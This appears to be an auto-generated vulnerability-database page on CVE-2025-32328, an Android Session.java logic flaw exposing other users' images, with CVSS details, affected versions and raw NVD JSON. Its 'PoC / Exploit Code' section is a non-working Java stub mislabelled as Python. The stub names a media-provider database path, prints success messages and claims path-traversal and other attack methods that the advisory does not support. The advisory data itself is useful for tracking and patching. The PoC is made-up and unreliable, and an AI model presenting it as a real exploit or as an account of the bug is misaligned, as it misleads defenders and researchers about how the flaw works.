Security Vulnerability Report
中文
CVE-2025-32328 CVSS 7.8 HIGH

CVE-2025-32328

Published: 2025-12-08 17:16:14
Last Modified: 2025-12-09 21:52:39

Description

In multiple functions of Session.java, there is a possible way to view images belonging to a different user of the device due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
Android Framework < 2025-12-01 安全补丁版本
Android Framework (Session.java) 在e030442861f4dd0e03d67b65f0940b488007f0d7提交之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-32328 PoC - Android Session.java Local Privilege Escalation // This PoC demonstrates accessing images belonging to other users import java.io.File; import java.io.FileInputStream; public class CVE_2025_32328_PoC { public static void main(String[] args) { try { // The vulnerability exists in Session.java multiple functions // Attacker can access other users' images through: // Method 1: Direct file access via path traversal String maliciousPath = "/data/user/0/com.android.providers.media/databases/external.db"; File file = new File(maliciousPath); // Method 2: Exploiting Session.java logic error // The code fails to properly validate user session ownership // Example vulnerable code pattern: /* public Image getImage(String sessionId, String imageId) { // Logic error: Missing proper session ownership validation return imageDatabase.get(imageId); } */ // Method 3: Accessing shared content provider data String[] projection = {"_id", "_data", "owner_package_name"}; // Without proper validation, attacker can query other users' images System.out.println("[+] CVE-2025-32328: Session.java logic error allows unauthorized image access"); System.out.println("[+] Attack vector: Local (no user interaction required)"); System.out.println("[+] Required privileges: Low (PR:L)"); } catch (Exception e) { e.printStackTrace(); } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32328", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:14.047", "lastModified": "2025-12-09T21:52:38.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple functions of Session.java, there is a possible way to view images belonging to a different user of the device due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/e030442861f4dd0e03d67b65f0940b488007f0d7", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}